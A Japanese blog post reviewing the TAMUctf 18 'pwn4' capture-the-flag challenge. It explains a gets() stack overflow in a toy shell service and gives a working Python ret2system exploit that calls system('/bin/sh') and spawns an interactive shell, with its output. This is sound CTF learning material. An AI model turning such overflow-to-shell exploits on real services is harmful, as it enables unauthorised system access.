HappyNote3966’s blog

備忘録、作業記録的なことを書きます。低レベル注意。ご指摘等ございましたらやんわりとお願いします(´;ω;`)

TAMUctf 18 [pwn 125] pwn4 復習

先日参加したTAMUctf 18のpwn4とpwn5が解けなかったので復習。 今回はそのうちのpwn4について。

簡易シェルのサービスが提供されている。 1~5の数字もしくはコマンド名を入力することで、system関数を通じてその結果を表示するものだった。

雑にデコンパイルすると、以下のようになった。

sub_080485ef_reduced_shell(){
    //stack := 0x28
    puts("I am a reduced online shell");
    puts("Your options are :");
    puts("1. ls\n2. cal\n3. pwd\n4. whoami\n5. exit");
    printf("Input > ");
    gets(ebp-0x1c);
    if(strcmp(ebp-0x1c,"ls") == 0 || strcmp(ebp-0x1c,"1") == 0){
        ls();
    }
    else if(strcmp(ebp-0x1c,"cal") == 0 || strcmp(ebp-0x1c,"2") == 0){
        cal();
    }
    else if(strcmp(ebp-0x1c,"pwd") == 0 || strcmp(ebp-0x1c,"3") == 0){
        pwd();
    }
    else if(strcmp(ebp-0x1c,"whoami") == 0 || strcmp(ebp-0x1c,"4") == 0){
        whoami();
    }
    else if(strcmp(ebp-0x1c,"exit") == 0 || strcmp(ebp-0x1c,"5") == 0){
        exit(0x0);
    }
    else{
        puts("Unkown Command");
        putchar('\n');
    }
}

この部分がユーザ入力の比較になっていて、入力した値によって以下のような処理が実行される。 (例はwhoamiもしくは4が入力された場合)

sub_080485d6_whoami(){
    system("whoami");
}

ebp-0x1cに対してユーザ入力を受け付けているが、その際に使用している関数がgetsとなっている。 つまり、スタックBOF脆弱性がある。

さらに、このバイナリには/bin/shの文字列が仕込まれていた。

$ strings -tx -a pwn4 | grep "/bin/sh"
   1038 /bin/sh
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
...
  [24] .got.plt          PROGBITS        0804a000 001000 000030 04  WA  0   0  4
  [25] .data             PROGBITS        0804a030 001030 000010 00  WA  0   0  4
  [26] .bss              NOBITS          0804a040 001040 000008 00  WA  0   0  4

加えて、plt領域のsystem関数のアドレスは0x08048430となっていた。

...
08048430 <system@plt>:
 8048430:       jmp    DWORD PTR ds:0x804a01c
 8048436:       push   0x20
 804843b:       jmp    80483e0 <.plt>
...

system関数で/bin/shを起動して、シェル上でフラグを読み込むのが正解らしい。

以下の点を踏まえてexploitコードを書いてみる。

  • スタックBOFがあり、ebp-0x1cの領域から読み込まれている

  • /bin/sh0x804a038の場所にある

    • .dataのAddrの値 + (/bin/shのオフセット - .dataのオフセット) = 0x0804a030 + (0x1038 - 0x1030) = 0x804a038
  • system関数は0x08048430の場所にある

import socket
import struct
import telnetlib

def main():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("localhost",12345))

    s.recv(1024)

    system_addr = 0x08048430 # system
    binsh_addr = 0x0804a038 # "/bin/sh" addr

    buf = 'A' * 0x1c # buf
    buf += 'AAAA' # saved ebp
    buf += struct.pack("<I",system_addr)
    buf += 'AAAA' # return address (no meaning)
    buf += struct.pack("<I",binsh_addr)

    buf += "\n"

    s.send(buf)

    print("[+] GOT SHELL!")

    t = telnetlib.Telnet()
    t.sock = s
    t.interact()


if __name__ == '__main__':
    main()

図で示すとこんな感じになる。

[ebp-0x1c]    AAAA
[ebp-0x18]    AAAA
[ebp-0x14]    AAAA
[ebp-0x10]    AAAA
[ebp-0x0c]    AAAA
[ebp-0x08]    AAAA
[epb-0x04]    AAAA
[ebp-0x00]    AAAA        <= saved ebp
[ebp+0x04]    (system)    <= リターンアドレス
[ebp+0x08]    AAAA        <= system関数からのリターンアドレス
[ebp+0x0c]    (/bin/sh)   <= system関数への引数

実行してみると、/bin/shが起動していることが分かる。

$ python exploit.py 
[+] GOT SHELL!
Unkown Command

id
uid=1000(happynote3966) gid=1000(happynote3966) groups=1000(happynote3966)...

あとはフラグをcatコマンドなどで読み取るだけ。

反省

競技時間中にpwn4ができなくて躓いていた。 どうやらアドレスを正確に指定しなかったために/bin/shが起動できなかったらしい。 焦らずにちゃんと値を確認する癖をつけたい。